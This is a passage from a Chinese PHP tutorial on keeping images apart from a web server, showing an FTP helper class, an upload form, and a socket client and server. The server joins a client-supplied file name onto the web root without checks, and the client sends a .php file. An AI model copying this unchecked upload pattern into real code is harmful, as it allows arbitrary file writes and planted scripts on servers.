<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setChdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$dir</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_chdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$dir</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">不能改变目录！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *创建一个树目录</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $path</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@return 目录名</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setMkdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$path_arr</span><span style="color: Gray;">&nbsp; = </span><span style="color: Blue;">explode</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">/</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// 取目录数组</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$file_name</span><span style="color: Gray;"> = </span><span style="color: Blue;">array_pop</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path_arr</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// 弹出文件名</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$path_div</span><span style="color: Gray;">&nbsp; = </span><span style="color: Blue;">count</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path_arr</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// 取层数</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">foreach</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path_arr</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">as</span><span style="color: Gray;"> </span><span style="color: #00008b;">$val</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// 创建目录</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">@</span><span style="color: Blue;">ftp_chdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$val</span><span style="color: Olive;">)</span><span style="color: Gray;"> == </span><span style="color: Green;">FALSE</span><span style="color: Olive;">){</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @</span><span style="color: Blue;">ftp_mkdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$val</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">目录创建失败,请检查权限及路径是否正确！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; @</span><span style="color: Blue;">ftp_chdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$val</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">for</span><span style="color: Olive;">(</span><span style="color: #00008b;">$i</span><span style="color: Gray;">=</span><span style="color: Maroon;">1</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">&lt;=</span><span style="color: #00008b;">$path_div</span><span style="color: Gray;">;</span><span style="color: #00008b;">$i</span><span style="color: Gray;">++</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #ffa500;">// 回退到根</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; @</span><span style="color: Blue;">ftp_cdup</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *删除一个目录</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $dir</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setRmdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$dir</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_rmdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$dir</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">删除失败!,请检查权限！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *重命名一个文件或目录|||||||||可以用作移动作用</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $from</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $to</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setRename</span><span style="color: Olive;">(</span><span style="color: #00008b;">$from</span><span style="color: Gray;">,</span><span style="color: #00008b;">$to</span><span style="color: Gray;">,</span><span style="color: #00008b;">$exists</span><span style="color: Gray;"> = </span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$exists</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">setMkdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$to</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_rename</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$from</span><span style="color: Gray;">,</span><span style="color: #00008b;">$to</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">重命名失败！请检查权限！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *删除一个文件</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $filename</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setDelete</span><span style="color: Olive;">(</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_delete</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$path</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">删除文件失败！请检查权限！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *ftp文件上传</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $remote</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $local</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $mode</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $exists</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">filePut</span><span style="color: Olive;">(</span><span style="color: #00008b;">$remote</span><span style="color: Gray;">,</span><span style="color: #00008b;">$local</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Gray;"> = </span><span style="color: Blue;">FTP_BINARY</span><span style="color: Gray;">,</span><span style="color: #00008b;">$exists</span><span style="color: Gray;"> = </span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$exists</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">setMkdir</span><span style="color: Olive;">(</span><span style="color: #00008b;">$remote</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span><span style="color: #ffa500;">//目录不存在则创建</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">ftp_put</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$remote</span><span style="color: Gray;">,</span><span style="color: #00008b;">$local</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *ftp文件下载</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $remote</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $local</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $mode</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">fileGet</span><span style="color: Olive;">(</span><span style="color: #00008b;">$remote</span><span style="color: Gray;">,</span><span style="color: #00008b;">$local</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Gray;"> = </span><span style="color: Blue;">FTP_BINARY</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Green;">return</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">ftp_get</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$local</span><span style="color: Gray;">,</span><span style="color: #00008b;">$remote</span><span style="color: Gray;">,</span><span style="color: #00008b;">$mode</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *打开被动模式</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *@param $pasv</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">setPasv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$pasv</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_pasv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Gray;">,</span><span style="color: #00008b;">$pasv</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">打开被动模式失败！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #ffa500;">/**</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; *关闭连接句柄</span></li>
<li><span style="color: #ffa500;">&nbsp; &nbsp; */</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">function</span><span style="color: Gray;">&nbsp;</span><span style="color: Blue;">closeFtp</span><span style="color: Olive;">()</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: Blue;">ftp_close</span><span style="color: Olive;">(</span><span style="color: #00008b;">$this</span><span style="color: Gray;">-&gt;</span><span style="color: Blue;">conn</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">or</span><span style="color: Gray;"> </span><span style="color: Green;">die</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">不能关闭！</span><span style="color: #8b0000;">&quot;</span><span style="color: Olive;">)</span><span style="color: Gray;">;</span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">}</span></li>
<li><span style="color: Gray;">&nbsp;</span></li>
<li><span style="color: Olive;">}</span><span style="color: #ffa500;">//End Class</span></li>
<li><span style="color: Blue;">?&gt;</span></li>
<li><span style="color: Gray;">&lt;form name=&quot;myform&quot; action=&quot;&quot; method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot; &gt;</span></li>
<li><span style="color: Gray;">&lt;input type=&quot;file&quot; name=&quot;pic&quot; value=&quot;&quot;&gt;</span></li>
<li><span style="color: Gray;">&lt;input type=&quot;submit&quot;&gt;</span></li>
<li><span style="color: Gray;">&lt;/form&gt;</span></li></ol></div>
<p>以上只是说明如何实现图片和WEB分离的原理。在实际开发中，还要进行如：上传检测，水印，缩略图生成，冗余判断，延时间操作，图片路径记录等操作。但只要明白了原理其它的应该不在话下了吧：）</p>
<p><strong>使用socket上传</strong><br />
客户端：</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: #00008b;">$fp</span><span style="color: Gray;"> = </span><span style="color: Blue;">fsockopen</span><span style="color: Olive;">(</span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">192.168.0.119</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">, </span><span style="color: Maroon;">1337</span><span style="color: Gray;">, </span><span style="color: #00008b;">$errno</span><span style="color: Gray;">, </span><span style="color: #00008b;">$errstr</span><span style="color: Gray;">, </span><span style="color: Maroon;">30</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Gray;">!</span><span style="color: #00008b;">$fp</span><span style="color: Olive;">)</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">echo</span><span style="color: Gray;">&nbsp;</span><span style="color: #8b0000;">&quot;</span><span style="color: #00008b;">$errstr</span><span style="color: Red;"> (</span><span style="color: #00008b;">$errno</span><span style="color: Red;">)&lt;br /&gt;</span><span style="color: Navy;">\n</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp;</span><span style="color: Green;">else</span><span style="color: Gray;"> </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$str</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">filename:aajsad.php</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">, </span><span style="color: #00008b;">$str</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">, </span><span style="color: #8b0000;">'</span><span style="color: Red;">data:</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$out</span><span style="color: Gray;"> = </span><span style="color: Blue;">file_get_contents</span><span style="color: Olive;">(</span><span style="color: #8b0000;">'</span><span style="color: Red;">jsad.php</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">, </span><span style="color: #00008b;">$out</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Blue;">fwrite</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">dataend</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Blue;">fclose</span><span style="color: Olive;">(</span><span style="color: #00008b;">$fp</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Blue;">?&gt;</span></li></ol></div>
<p>服务端：</p>
<div class="hl-surround"><ol class="hl-main ln-show" title="Double click to hide line number." ondblclick = "linenumber(this)"><li class="hl-firstline"><span style="color: Blue;">&lt;?php</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Blue;">set_time_limit</span><span style="color: Olive;">(</span><span style="color: Maroon;">0</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: #00008b;">$socket</span><span style="color: Gray;"> = </span><span style="color: Blue;">socket_create</span><span style="color: Olive;">(</span><span style="color: Blue;">AF_INET</span><span style="color: Gray;">, </span><span style="color: Blue;">SOCK_STREAM</span><span style="color: Gray;">, </span><span style="color: Blue;">SOL_TCP</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Blue;">socket_bind</span><span style="color: Olive;">(</span><span style="color: #00008b;">$socket</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">192.168.0.119</span><span style="color: #8b0000;">'</span><span style="color: Gray;">,</span><span style="color: Maroon;">1337</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: Blue;">socket_listen</span><span style="color: Olive;">(</span><span style="color: #00008b;">$socket</span><span style="color: Gray;">,</span><span style="color: Maroon;">5</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp; &nbsp; </span></li>
<li><span style="color: #00008b;">$path</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">&quot;</span><span style="color: Red;">e:</span><span style="color: Navy;">\\</span><span style="color: Red;">web</span><span style="color: Navy;">\\</span><span style="color: #8b0000;">&quot;</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Green;">while</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Green;">true</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: #00008b;">$connection</span><span style="color: Gray;"> = </span><span style="color: Blue;">socket_accept</span><span style="color: Olive;">(</span><span style="color: #00008b;">$socket</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$connection</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$BufferPond</span><span style="color: Gray;"> = </span><span style="color: Green;">array</span><span style="color: Olive;">()</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: #00008b;">$buffer</span><span style="color: Gray;"> = </span><span style="color: #8b0000;">''</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Green;">while</span><span style="color: Olive;">(</span><span style="color: #00008b;">$flag</span><span style="color: Gray;"> = </span><span style="color: Blue;">socket_recv</span><span style="color: Olive;">(</span><span style="color: #00008b;">$connection</span><span style="color: Gray;">, </span><span style="color: #00008b;">$buffer</span><span style="color: Gray;">, </span><span style="color: Maroon;">1024</span><span style="color: Gray;">, </span><span style="color: Maroon;">0</span><span style="color: Olive;">))</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">if</span><span style="color: Olive;">(</span><span style="color: #00008b;">$buffer</span><span style="color: Gray;"> == </span><span style="color: #8b0000;">'</span><span style="color: Red;">NO DATA</span><span style="color: #8b0000;">'</span><span style="color: Olive;">)</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp; &nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">break</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">}</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Green;">if</span><span style="color: Gray;">&nbsp;</span><span style="color: Olive;">(</span><span style="color: Green;">false</span><span style="color: Gray;"> !== </span><span style="color: Blue;">strpos</span><span style="color: Olive;">(</span><span style="color: #00008b;">$buffer</span><span style="color: Gray;">,</span><span style="color: #8b0000;">'</span><span style="color: Red;">filename:</span><span style="color: #8b0000;">'</span><span style="color: Olive;">))</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp;&nbsp; </span><span style="color: Olive;">{</span><span style="color: Gray;">&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$filename</span><span style="color: Gray;"> = </span><span style="color: Blue;">substr</span><span style="color: Olive;">(</span><span style="color: #00008b;">$buffer</span><span style="color: Gray;">,</span><span style="color: Maroon;">9</span><span style="color: Olive;">)</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
<li><span style="color: Gray;">&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; </span><span style="color: #00008b;">$filename</span><span style="color: Gray;"> = </span><span style="color: #00008b;">$path</span><span style="color: Gray;">.</span><span style="color: #00008b;">$filename</span><span style="color: Gray;">;&nbsp;&nbsp; </span></li>
